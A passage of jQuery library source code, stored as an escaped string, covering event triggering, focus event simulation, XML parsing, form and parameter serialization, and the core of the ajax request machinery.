jQuery.Event(),\n\t\t\tevent,\n\t\t\t{\n\t\t\t\ttype: type,\n\t\t\t\tisSimulated: true\n\t\t\t}\n\t\t);\n\n\t\tjQuery.event.trigger( e, null, elem );\n\t}\n\n} );\n\njQuery.fn.extend( {\n\n\ttrigger: function( type, data ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t} );\n\t},\n\ttriggerHandler: function( type, data ) {\n\t\tvar elem = this[ 0 ];\n\t\tif ( elem ) {\n\t\t\treturn jQuery.event.trigger( type, data, elem, true );\n\t\t}\n\t}\n} );\n\n\n// Support: Firefox <=44\n// Firefox doesn't have focus(in | out) events\n// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787\n//\n// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1\n// focus(in | out) events fire after focus & blur events,\n// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order\n// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857\nif ( !support.focusin ) {\n\tjQuery.each( { focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\n\t\t// Attach a single capturing handler on the document while someone wants focusin/focusout\n\t\tvar handler = function( event ) {\n\t\t\tjQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );\n\t\t};\n\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = dataPriv.access( doc, fix );\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.addEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t\tdataPriv.access( doc, fix, ( attaches || 0 ) + 1 );\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = dataPriv.access( doc, fix ) - 1;\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.removeEventListener( orig, handler, true );\n\t\t\t\t\tdataPriv.remove( doc, fix );\n\n\t\t\t\t} else {\n\t\t\t\t\tdataPriv.access( doc, fix, attaches );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t} );\n}\nvar location = window.location;\n\nvar nonce = Date.now();\n\nvar rquery = ( /\\?/ );\n\n\n\n// Cross-browser xml parsing\njQuery.parseXML = function( data ) {\n\tvar xml;\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\n\t// Support: IE 9 - 11 only\n\t// IE throws on parseFromString with invalid input.\n\ttry {\n\t\txml = ( new window.DOMParser() ).parseFromString( data, \"text/xml\" );\n\t} catch ( e ) {\n\t\txml = undefined;\n\t}\n\n\tif ( !xml || xml.getElementsByTagName( \"parsererror\" ).length ) {\n\t\tjQuery.error( \"Invalid XML: \" + data );\n\t}\n\treturn xml;\n};\n\n\nvar\n\trbracket = /\\[\\]$/,\n\trCRLF = /\\r?\\n/g,\n\trsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,\n\trsubmittable = /^(?:input|select|textarea|keygen)/i;\n\nfunction buildParams( prefix, obj, traditional, add ) {\n\tvar name;\n\n\tif ( Array.isArray( obj ) ) {\n\n\t\t// Serialize array item.\n\t\tjQuery.each( obj, function( i, v ) {\n\t\t\tif ( traditional || rbracket.test( prefix ) ) {\n\n\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\tadd( prefix, v );\n\n\t\t\t} else {\n\n\t\t\t\t// Item is non-scalar (array or object), encode its numeric index.\n\t\t\t\tbuildParams(\n\t\t\t\t\tprefix + \"[\" + ( typeof v === \"object\" && v != null ? i : \"\" ) + \"]\",\n\t\t\t\t\tv,\n\t\t\t\t\ttraditional,\n\t\t\t\t\tadd\n\t\t\t\t);\n\t\t\t}\n\t\t} );\n\n\t} else if ( !traditional && toType( obj ) === \"object\" ) {\n\n\t\t// Serialize object item.\n\t\tfor ( name in obj ) {\n\t\t\tbuildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n\t\t}\n\n\t} else {\n\n\t\t// Serialize scalar item.\n\t\tadd( prefix, obj );\n\t}\n}\n\n// Serialize an array of form elements or a set of\n// key/values into a query string\njQuery.param = function( a, traditional ) {\n\tvar prefix,\n\t\ts = [],\n\t\tadd = function( key, valueOrFunction ) {\n\n\t\t\t// If value is a function, invoke it and use its return value\n\t\t\tvar value = isFunction( valueOrFunction ) ?\n\t\t\t\tvalueOrFunction() :\n\t\t\t\tvalueOrFunction;\n\n\t\t\ts[ s.length ] = encodeURIComponent( key ) + \"=\" +\n\t\t\t\tencodeURIComponent( value == null ? \"\" : value );\n\t\t};\n\n\t// If an array was passed in, assume that it is an array of form elements.\n\tif ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\n\t\t// Serialize the form elements\n\t\tjQuery.each( a, function() {\n\t\t\tadd( this.name, this.value );\n\t\t} );\n\n\t} else {\n\n\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t// did it), otherwise encode params recursively.\n\t\tfor ( prefix in a ) {\n\t\t\tbuildParams( prefix, a[ prefix ], traditional, add );\n\t\t}\n\t}\n\n\t// Return the resulting serialization\n\treturn s.join( \"&\" );\n};\n\njQuery.fn.extend( {\n\tserialize: function() {\n\t\treturn jQuery.param( this.serializeArray() );\n\t},\n\tserializeArray: function() {\n\t\treturn this.map( function() {\n\n\t\t\t// Can add propHook for \"elements\" to filter or add form elements\n\t\t\tvar elements = jQuery.prop( this, \"elements\" );\n\t\t\treturn elements ? jQuery.makeArray( elements ) : this;\n\t\t} )\n\t\t.filter( function() {\n\t\t\tvar type = this.type;\n\n\t\t\t// Use .is( \":disabled\" ) so that fieldset[disabled] works\n\t\t\treturn this.name && !jQuery( this ).is( \":disabled\" ) &&\n\t\t\t\trsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&\n\t\t\t\t( this.checked || !rcheckableType.test( type ) );\n\t\t} )\n\t\t.map( function( i, elem ) {\n\t\t\tvar val = jQuery( this ).val();\n\n\t\t\tif ( val == null ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tif ( Array.isArray( val ) ) {\n\t\t\t\treturn jQuery.map( val, function( val ) {\n\t\t\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t\t\t} );\n\t\t\t}\n\n\t\t\treturn { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n\t\t} ).get();\n\t}\n} );\n\n\nvar\n\tr20 = /%20/g,\n\trhash = /#.*$/,\n\trantiCache = /([?&])_=[^&]*/,\n\trheaders = /^(.*?):[ \\t]*([^\\r\\n]*)$/mg,\n\n\t// #7653, #8125, #8152: local protocol detection\n\trlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,\n\trnoContent = /^(?:GET|HEAD)$/,\n\trprotocol = /^\\/\\//,\n\n\t/* Prefilters\n\t * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n\t * 2) These are called:\n\t * - BEFORE asking for a transport\n\t * - AFTER param serialization (s.data is a string if s.processData is true)\n\t * 3) key is the dataType\n\t * 4) the catchall symbol \"*\" can be used\n\t * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n\t */\n\tprefilters = {},\n\n\t/* Transports bindings\n\t * 1) key is the dataType\n\t * 2) the catchall symbol \"*\" can be used\n\t * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n\t */\n\ttransports = {},\n\n\t// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression\n\tallTypes = \"*/\".concat( \"*\" ),\n\n\t// Anchor tag for parsing the document origin\n\toriginAnchor = document.createElement( \"a\" );\n\toriginAnchor.href = location.href;\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\nfunction addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tvar dataType,\n\t\t\ti = 0,\n\t\t\tdataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];\n\n\t\tif ( isFunction( func ) ) {\n\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\twhile ( ( dataType = dataTypes[ i++ ] ) ) {\n\n\t\t\t\t// Prepend if requested\n\t\t\t\tif ( dataType[ 0 ] === \"+\" ) {\n\t\t\t\t\tdataType = dataType.slice( 1 ) || \"*\";\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );\n\n\t\t\t\t// Otherwise append\n\t\t\t\t} else {\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).push( func );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\n// Base inspection function for prefilters and transports\nfunction inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {\n\n\tvar inspected = {},\n\t\tseekingTransport = ( structure === transports );\n\n\tfunction inspect( dataType ) {\n\t\tvar selected;\n\t\tinspected[ dataType ] = true;\n\t\tjQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {\n\t\t\tvar dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );\n\t\t\tif ( typeof dataTypeOrTransport === \"string\" &&\n\t\t\t\t!seekingTransport && !inspected[ dataTypeOrTransport ] ) {\n\n\t\t\t\toptions.dataTypes.unshift( dataTypeOrTransport );\n\t\t\t\tinspect( dataTypeOrTransport );\n\t\t\t\treturn false;\n\t\t\t} else if ( seekingTransport ) {\n\t\t\t\treturn !( selected = dataTypeOrTransport );\n\t\t\t}\n\t\t} );\n\t\treturn selected;\n\t}\n\n\treturn inspect( options.dataTypes[ 0 ] ) || !inspected[ \"*\" ] && inspect( \"*\" );\n}\n\n// A special extend for ajax options\n// that takes \"flat\" options (not to be deep extended)\n// Fixes #9887\nfunction ajaxExtend( target, src ) {\n\tvar key, deep,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}\n\n/* Handles responses to an ajax request:\n * - finds the right dataType (mediates between content-type and expected dataType)\n * - returns the corresponding response\n */\nfunction ajaxHandleResponses( s, jqXHR, responses ) {\n\n\tvar ct, type, finalDataType, firstDataType,\n\t\tcontents = s.contents,\n\t\tdataTypes = s.dataTypes;\n\n\t// Remove auto dataType and get content-type in the process\n\twhile ( dataTypes[ 0 ] === \"*\" ) {\n\t\tdataTypes.shift();\n\t\tif ( ct === undefined ) {\n\t\t\tct = s.mimeType || jqXHR.getResponseHeader( \"Content-Type\" );\n\t\t}\n\t}\n\n\t// Check if we're dealing with a known content-type\n\tif ( ct ) {\n\t\tfor ( type in contents ) {\n\t\t\tif ( contents[ type ] && contents[ type ].test( ct ) ) {\n\t\t\t\tdataTypes.unshift( type );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check to see if we have a response for the expected dataType\n\tif ( dataTypes[ 0 ] in responses ) {\n\t\tfinalDataType = dataTypes[ 0 ];\n\t} else {\n\n\t\t// Try convertible dataTypes\n\t\tfor ( type in responses ) {\n\t\t\tif ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[ 0 ] ] ) {\n\t\t\t\tfinalDataType = type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !firstDataType ) {\n\t\t\t\tfirstDataType = type;\n\t\t\t}\n\t\t}\n\n\t\t// Or just use first one\n\t\tfinalDataType = finalDataType || firstDataType;\n\t}\n\n\t// If we found a dataType\n\t// We add the dataType to the list if needed\n\t// and return the corresponding response\n\tif ( finalDataType ) {\n\t\tif ( finalDataType !== dataTypes[ 0 ] ) {\n\t\t\tdataTypes.unshift( finalDataType );\n\t\t}\n\t\treturn responses[ finalDataType ];\n\t}\n}\n\n/* Chain conversions given the request and the original response\n * Also sets the responseXXX fields on the jqXHR instance\n */\nfunction ajaxConvert( s, response, jqXHR, isSuccess ) {\n\tvar conv2, current, conv, tmp, prev,\n\t\tconverters = {},\n\n\t\t// Work with a copy of dataTypes in case we need to modify it for conversion\n\t\tdataTypes = s.dataTypes.slice();\n\n\t// Create converters map with lowercased keys\n\tif ( dataTypes[ 1 ] ) {\n\t\tfor ( conv in s.converters ) {\n\t\t\tconverters[ conv.toLowerCase() ] = s.converters[ conv ];\n\t\t}\n\t}\n\n\tcurrent = dataTypes.shift();\n\n\t// Convert to each sequential dataType\n\twhile ( current ) {\n\n\t\tif ( s.responseFields[ current ] ) {\n\t\t\tjqXHR[ s.responseFields[ current ] ] = response;\n\t\t}\n\n\t\t// Apply the dataFilter if provided\n\t\tif ( !prev && isSuccess && s.dataFilter ) {\n\t\t\tresponse = s.dataFilter( response, s.dataType );\n\t\t}\n\n\t\tprev = current;\n\t\tcurrent = dataTypes.shift();\n\n\t\tif ( current ) {\n\n\t\t\t// There's only work to do if current dataType is non-auto\n\t\t\tif ( current === \"*\" ) {\n\n\t\t\t\tcurrent = prev;\n\n\t\t\t// Convert response if prev dataType is non-auto and differs from current\n\t\t\t} else if ( prev !== \"*\" && prev !== current ) {\n\n\t\t\t\t// Seek a direct converter\n\t\t\t\tconv = converters[ prev + \" \" + current ] || converters[ \"* \" + current ];\n\n\t\t\t\t// If none found, seek a pair\n\t\t\t\tif ( !conv ) {\n\t\t\t\t\tfor ( conv2 in converters ) {\n\n\t\t\t\t\t\t// If conv2 outputs current\n\t\t\t\t\t\ttmp = conv2.split( \" \" );\n\t\t\t\t\t\tif ( tmp[ 1 ] === current ) {\n\n\t\t\t\t\t\t\t// If prev can be converted to accepted input\n\t\t\t\t\t\t\tconv = converters[ prev + \" \" + tmp[ 0 ] ] ||\n\t\t\t\t\t\t\t\tconverters[ \"* \" + tmp[ 0 ] ];\n\t\t\t\t\t\t\tif ( conv ) {\n\n\t\t\t\t\t\t\t\t// Condense equivalence converters\n\t\t\t\t\t\t\t\tif ( conv === true ) {\n\t\t\t\t\t\t\t\t\tconv = converters[ conv2 ];\n\n\t\t\t\t\t\t\t\t// Otherwise, insert the intermediate dataType\n\t\t\t\t\t\t\t\t} else if ( converters[ conv2 ] !== true ) {\n\t\t\t\t\t\t\t\t\tcurrent = tmp[ 0 ];\n\t\t\t\t\t\t\t\t\tdataTypes.unshift( tmp[ 1 ] );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Apply converter (if not an equivalence)\n\t\t\t\tif ( conv !== true ) {\n\n\t\t\t\t\t// Unless errors are allowed to bubble, catch and return them\n\t\t\t\t\tif ( conv && s.throws ) {\n\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t\t} catch ( e ) {\n\t\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\tstate: \"parsererror\",\n\t\t\t\t\t\t\t\terror: conv ? e : \"No conversion from \" + prev + \" to \" + current\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { state: \"success\", data: response };\n}\n\njQuery.extend( {\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {},\n\n\tajaxSettings: {\n\t\turl: location.href,\n\t\ttype: \"GET\",\n\t\tisLocal: rlocalProtocol.test( location.protocol ),\n\t\tglobal: true,\n\t\tprocessData: true,\n\t\tasync: true,\n\t\tcontentType: \"application/x-www-form-urlencoded; charset=UTF-8\",\n\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tdataType: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\tcache: null,\n\t\tthrows: false,\n\t\ttraditional: false,\n\t\theaders: {},\n\t\t*/\n\n\t\taccepts: {\n\t\t\t\"*\": allTypes,\n\t\t\ttext: \"text/plain\",\n\t\t\thtml: \"text/html\",\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\tjson: \"application/json, text/javascript\"\n\t\t},\n\n\t\tcontents: {\n\t\t\txml: /\\bxml\\b/,\n\t\t\thtml: /\\bhtml/,\n\t\t\tjson: /\\bjson\\b/\n\t\t},\n\n\t\tresponseFields: {\n\t\t\txml: \"responseXML\",\n\t\t\ttext: \"responseText\",\n\t\t\tjson: \"responseJSON\"\n\t\t},\n\n\t\t// Data converters\n\t\t// Keys separate source (or catchall \"*\") and destination types with a single space\n\t\tconverters: {\n\n\t\t\t// Convert anything to text\n\t\t\t\"* text\": String,\n\n\t\t\t// Text to html (true = no transformation)\n\t\t\t\"text html\": true,\n\n\t\t\t// Evaluate text as a json expression\n\t\t\t\"text json\": JSON.parse,\n\n\t\t\t// Parse text as xml\n\t\t\t\"text xml\": jQuery.parseXML\n\t\t},\n\n\t\t// For options that shouldn't be deep extended:\n\t\t// you can add your own custom options here if\n\t\t// and when you create one that shouldn't be\n\t\t// deep extended (see ajaxExtend)\n\t\tflatOptions: {\n\t\t\turl: true,\n\t\t\tcontext: true\n\t\t}\n\t},\n\n\t// Creates a full fledged settings object into target\n\t// with both ajaxSettings and settings fields.\n\t// If target is omitted, writes into ajaxSettings.\n\tajaxSetup: function( target, settings ) {\n\t\treturn settings ?\n\n\t\t\t// Building a settings object\n\t\t\tajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :\n\n\t\t\t// Extending ajaxSettings\n\t\t\tajaxExtend( jQuery.ajaxSettings, target );\n\t},\n\n\tajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n\tajaxTransport: addToPrefiltersOrTransports( transports ),\n\n\t// Main method\n\tajax: function( url, options ) {\n\n\t\t// If url is an object, simulate pre-1.5 signature\n\t\tif ( typeof url === \"object\" ) {\n\t\t\toptions = url;\n\t\t\turl = undefined;\n\t\t}\n\n\t\t// Force options to be an object\n\t\toptions = options || {};\n\n\t\tvar transport,\n\n\t\t\t// URL without anti-cache param\n\t\t\tcacheURL,\n\n\t\t\t// Response headers\n\t\t\tresponseHeadersString,\n\t\t\tresponseHeaders,\n\n\t\t\t// timeout handle\n\t\t\ttimeoutTimer,\n\n\t\t\t// Url cleanup var\n\t\t\turlAnchor,\n\n\t\t\t// Request state (becomes false upon send and true upon completion)\n\t\t\tcompleted,\n\n\t\t\t// To know if global events are to be dispatched\n\t\t\tfireGlobals,\n\n\t\t\t// Loop variable\n\t\t\ti,\n\n\t\t\t// uncached part of the url\n\t\t\tuncached,\n\n\t\t\t// Create the final options object\n\t\t\ts = jQuery.ajaxSetup( {}, options ),\n\n\t\t\t// Callbacks context\n\t\t\tcallbackContext = s.context || s,\n\n\t\t\t// Context for global events is callbackContext if it is a DOM node or jQuery collection\n\t\t\tglobalEventContext = s.context &&\n\t\t\t\t( callbackContext.nodeType || callbackContext.jquery ) ?\n\t\t\t\t\tjQuery( callbackContext ) :\n\t\t\t\t\tjQuery.event,\n\n\t\t\t// Deferreds\n\t\t\tdeferred = jQuery.Deferred(),\n\t\t\tcompleteDeferred = jQuery.Callbacks( \"once memory\" ),\n\n\t\t\t// Status-dependent callbacks\n\t\t\tstatusCode = s.statusCode || {},\n\n\t\t\t// Headers (they are sent all at once)\n\t\t\trequestHeaders = {},\n\t\t\trequestHeadersNames = {},\n\n\t\t\t// Default abort message\n\t\t\tstrAbort = \"canceled\",\n\n\t\t\t// Fake xhr\n\t\t\tjqXHR = {\n\t\t\t\treadyState: 0,\n\n\t\t\t\t// Builds headers hashtable if needed\n\t\t\t\tgetResponseHeader: function( key ) {\n\t\t\t\t\tvar match;\n\t\t\t\t\tif ( completed ) {\n\t\t\t\t\t\tif ( !responseHeaders ) {\n\t\t\t\t\t\t\tresponseHeaders = {};\n\t\t\t\t\t\t\twhile ( ( match = rheaders.exec( responseHeadersString ) ) ) {\n\t\t\t\t\t\t\t\tresponseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = responseHeaders[ key.toLowerCase() ];\n\t\t\t\t\t}\n\t\t\t\t\treturn match == null ? null : match;\n\t\t\t\t},\n\n\t\t\t\t// Raw string\n\t\t\t\tgetAllResponseHeaders: function() {\n\t\t\t\t\treturn completed ? responseHeadersString : null;\n\t\t\t\t},\n\n\t\t\t\t// Caches the header\n\t\t\t\tsetRequestHeader: function( name, value ) {\n\t\t\t\t\tif ( completed == null ) {\n\t\t\t\t\t\tname = requestHeadersNames[ name.toLowerCase() ] =\n\t\t\t\t\t\t\trequestHeadersNames[ name.toLowerCase() ] || name;\n\t\t\t\t\t\trequestHeaders[ name ] = value;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Overrides response content-type header\n\t\t\t\toverrideMimeType: function( type ) {\n\t\t\t\t\tif ( completed == null ) {\n\t\t\t\t\t\ts.mimeType = type;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Status-dependent callbacks\n\t\t\t\tstatusCode: function( map ) {\n\t\t\t\t\tvar code;\n\t\t\t\t\tif ( map ) {\n\t\t\t\t\t\tif ( completed ) {\n\n\t\t\t\t\t\t\t// Execute the appropriate callbacks\n\t\t\t\t\t\t\tjqXHR.always( map[ jqXHR.status ] );\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Lazy-add the new callbacks in a way that preserves old ones\n\t\t\t\t\t\t\tfor ( code in map ) {\n\t\t\t\t\t\t\t\tstatusCode[ code ] = [ statusCode[ code ], map[ code ] ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Cancel the request\n\t\t\t\tabort: function( statusText ) {\n\t\t\t\t\tvar finalText = statusText || strAbort;\n\t\t\t\t\tif ( transport ) {\n\t\t\t\t\t\ttransport.abort( finalText );\n\t\t\t\t\t}\n\t\t\t\t\tdone( 0, finalText );\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\t// Attach deferreds\n\t\tdeferred.promise( jqXHR );\n\n\t\t// Add protocol if not provided (prefilters might expect it)\n\t\t// Handle falsy url in the settings object (#10093: consistency with old signature)\n\t\t// We also use the url parameter if available\n\t\ts.url = ( ( url || s.url || location.href ) + \"\" )\n\t\t\t.replace( rprotocol, location.protocol + \"//\" );\n\n\t\t// Alias method option to type as per ticket #12004\n\t\ts.type = options.method || options.type || s.method || s.type;\n\n\t\t// Extract dataTypes list\n\t\ts.dataTypes = ( s.dataType || \"*\" ).toLowerCase().match( rnothtmlwhite ) || [ \"\" ];\n\n\t\t// A cross-domain request is in order when the origin doesn't match the current origin.\n\t\tif ( s.crossDomain == null ) {\n\t\t\turlAnchor = document.createElement( \"a\" );\n\n\t\t\t// Support: IE <=8 - 11, Edge 12 - 15\n\t\t\t// IE throws exception on accessing the href property if url is malformed,\n\t\t\t// e.g. http://example.com:80x/\n\t\t\ttry {\n\t\t\t\turlAnchor.href = s.url;\n\n\t\t\t\t// Support: IE <=8 - 11 only\n\t\t\t\t// Anchor's host property isn't correctly set when s.url is relative\n\t\t\t\turlAnchor.href = urlAnchor.href;\n\t\t\t\ts.crossDomain = originAnchor.protocol + \"//\" + originAnchor.host !==\n\t\t\t\t\turlAnchor.protocol + \"//\" + urlAnchor.host;\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// If there is an error parsing the URL, assume it is crossDomain,\n\t\t\t\t// it can be rejected by the transport if it is invalid\n\t\t\t\ts.crossDomain = true;\n\t\t\t}\n\t\t}\n\n\t\t// Convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Apply prefilters\n\t\tinspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n\t\t// If request was aborted inside a prefilter, stop there\n\t\tif ( completed ) {\n\t\t\treturn jqXHR;\n\t\t}\n\n\t\t// We can fire global events as of now if asked to\n\t\t// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)\n\t\tfireGlobals = jQuery.event && s.global;\n\n\t\t// Watch for a new set of requests\n\t\tif ( fireGlobals && jQuery.active++ === 0 ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// Uppercase the type\n\t\ts.type = s.type.toUpperCase();\n\n\t\t// Determine if request has content\n\t\ts.hasContent = !rnoContent.test( s.type );\n\n\t\t// Save the URL in case we're toying with the If-Modified-Since\n\t\t// and/or If-None-Match header later on\n\t\t// Remove hash to simplify url manipulation\n\t\tcacheURL = s.url.replace( rhash, \"\" );\n\n\t\t// More options handling for requests with no content\n\t\tif ( !s.hasContent ) {\n\n\t\t\t// Remember the hash so we can put it back\n\t\t\tuncached = s.url.slice( cacheURL.length );\n\n\t\t\t// If data is available and should be processed, append data to url\n\t\t\tif ( s.data && ( s.processData || typeof s.data === \"string\" ) ) {\n\t\t\t\tcacheURL += ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + s.data;\n\n\t\t\t\t// #9682: remove data so that it's not used in an eventual retry\n\t\t\t\tdelete s.data;\n\t\t\t}\n\n\t\t\t// Add or update anti-cache param if needed\n\t\t\tif ( s.cache === false ) {\n\t\t\t\tcacheURL = cacheURL.replace( rantiCache, \"$1\" );\n\t\t\t\tuncached = ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + \"_=\" + ( nonce++ ) + uncached;\n\t\t\t}\n\n\t\t\t// Put hash and anti-cache on the URL that will be requested (gh-1732)\n\t\t\ts.url = cacheURL + uncached;\n\n\t\t// Change '%20' to '+' if this is encoded form body content (gh-2658)\n\t\t} else if ( s.data && s.processData &&\n\t\t\t( s.contentType || \"\" ).indexOf( \"application/x-www-form-urlencoded\" ) === 0 ) {\n\t\t\ts.data = s.data.replace( r20, \"+\" );\n\t\t}\n\n\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\tif ( s.ifModified ) {\n\t\t\tif ( jQuery.lastModified[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ cacheURL ] );\n\t\t\t}\n\t\t\tif ( jQuery.etag[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ cacheURL ] );\n\t\t\t}\n\t\t}\n\n\t\t// Set the correct header, if data is being sent\n\t\tif ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n\t\t\tjqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n\t\t}\n\n\t\t// Set the Accepts header for the server, depending on the dataType\n\t\tjqXHR.setRequestHeader(\n\t\t\t\"Accept\",\n\t\t\ts.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?\n\t\t\t\ts.accepts[ s.dataTypes[ 0 ] ] +\n\t\t\t\t\t( s.dataTypes[ 0 ] !== \"*\" ? \", \" + allTypes + \"; q=0.01\" : \"\" ) :\n\t\t\t\ts.accepts[ \"*\" ]\n\t\t);\n\n\t\t// Check for headers option\n\t\tfor ( i in s.headers ) {\n\t\t\tjqXHR.setRequestHeader( i, s.headers[ i ] );\n\t\t}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend &&\n\t\t\t( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {\n\n\t\t\t// Abort if not done already and return\n\t\t\treturn jqXHR.abort();\n\t\t}\n\n\t\t// Aborting is no longer a cancellation\n\t\tstrAbort = \"abort\";\n\n\t\t// Install callbacks on deferreds\n\t\tcompleteDeferred.add( s.complete );\n\t\tjqXHR.done( s.success );\n\t\tjqXHR.fail( s.error );\n\n\t\t// Get transport\n\t\ttransport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n\t\t// If no transport, we auto-abort\n\t\tif ( !transport ) {\n\t\t\tdone( -1, \"No Transport\" );\n\t\t} else {\n\t\t\tjqXHR.readyState = 1;\n\n\t\t\t// Send global event\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n\t\t\t}\n\n\t\t\t// If request was aborted inside ajaxSend, stop there\n\t\t\tif ( completed ) {\n\t\t\t\treturn jqXHR;\n\t\t\t}\n\n\t\t\t// Timeout\n\t\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\t\ttimeoutTimer = window.setTimeout( function() {\n\t\t\t\t\tjqXHR.abort( \"timeout\" );\n\t\t\t\t}, s.timeout );\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tcompleted = false;\n\t\t\t\ttransport.send( requestHeaders, done );\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// Rethrow post-completion exceptions\n\t\t\t\tif ( completed ) {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\n\t\t\t\t// Propagate others as results\n\t\t\t\tdone( -1, e );\n\t\t\t}\n\t\t}\n\n\t\t// Callback for when everything is done\n\t\tfunction done( status, nativeStatusText, responses, headers ) {\n\t\t\tvar isSuccess, success, error, response, 